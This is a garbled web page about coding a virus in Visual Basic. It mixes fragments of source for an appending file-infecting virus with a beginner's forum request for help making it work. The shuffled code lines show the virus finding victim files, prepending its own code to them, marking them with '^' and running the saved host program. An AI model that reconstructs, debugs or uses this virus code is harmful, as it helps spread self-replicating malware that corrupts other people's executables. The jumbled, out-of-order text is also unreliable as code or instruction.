How to code a virus in visual basic code#
If there is an error it will ignore all code and go to the Fin marker which is the end.
How to code a virus in visual basic free#
This will rid you of read/write errors because it will open free file. This is a good idea taken by the y2k virus. We open the sub we will use (Form_Load), and we put our error handle there. These are the variables, constants and declarations that we will use for process checking. The length variable holds the running file's length and the chck variable will be used to check if we have already infected the file. You will need to change the number to the size of your virus. Here we define the variables that we will use, the " myarray() " variable holds tha binary code of the virus, the "victim" variable holds the victim file's name and the "mysize" variable holds the size of the virus. Kill App.Path & "\" & App.EXEName & ".tut" ' Delete the old host code HProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)ĭo While iExit = STILL_ACTIVE ' Wait untill the program is shut down IdProg = Shell(App.Path & "\" & App.EXEName & ".tut", vbNormalFocus) Put #Free,, myarray ' Place the old host data into a temporary file Open App.Path & "\" & App.EXEName & ".tut" For Binary Access Write As #Free Get #Free, size, myarray ' Get the old host data from out of this file Myarray = Space(length) ' Create buffer in variable, for the size of If Length > 0 Then ' if it's more than 0, the file is infected, Length = (LOF(Free) - size) ' Store the length of the current file minus Victim = Dir() ' Find the next file to infect Put #Free, LOF(Free) + 1, "^" 'Place an X at the end to show it's beenĬlose #Free 'Thats how this virus got it's name! Put #Free, size, varray ' Follow it immediatley by the victims code Put #Free, 1, myarray ' Place our code in the front of the file Open victim For Binary Access Write As #Free If LCase(chck) "^" Then ' if the character = X then the file has Get #1, 1, varray ' Copy th file data into a variableĬhck = Mid(varray, Len(varray)) ' Store the last character in the Varray = Space(LOF(Free)) ' Sets buffer up for the file data Open Victim For Binary Access Read As #Free LCase(App.Path & "\" & App.EXEName & ".exe") Then If LCase(App.Path & "\" & App.EXEName & ".exe") _ ' If the victim file, has the same directory and name as the file
![how to code a virus in visual basic how to code a virus in visual basic](https://slidetodoc.com/presentation_image_h/c51c4205903a527764d20c63a375ba11/image-26.jpg)
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Private Declare Function CloseHandle Lib "kernel32" _ (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ Private Declare Function OpenProcess Lib "kernel32" _ This is a simple not encrypted appending virus without any payload. when u compile it it trys to infect itself then goes no further! please could sum1 help me thanks PhonetiX.
![how to code a virus in visual basic how to code a virus in visual basic](https://www.sourcecodester.com/sites/default/files/images/admin/calculator_1.jpg)
i found this on the net and am trying to get it to work. Hi im totally new to vb and virus coding.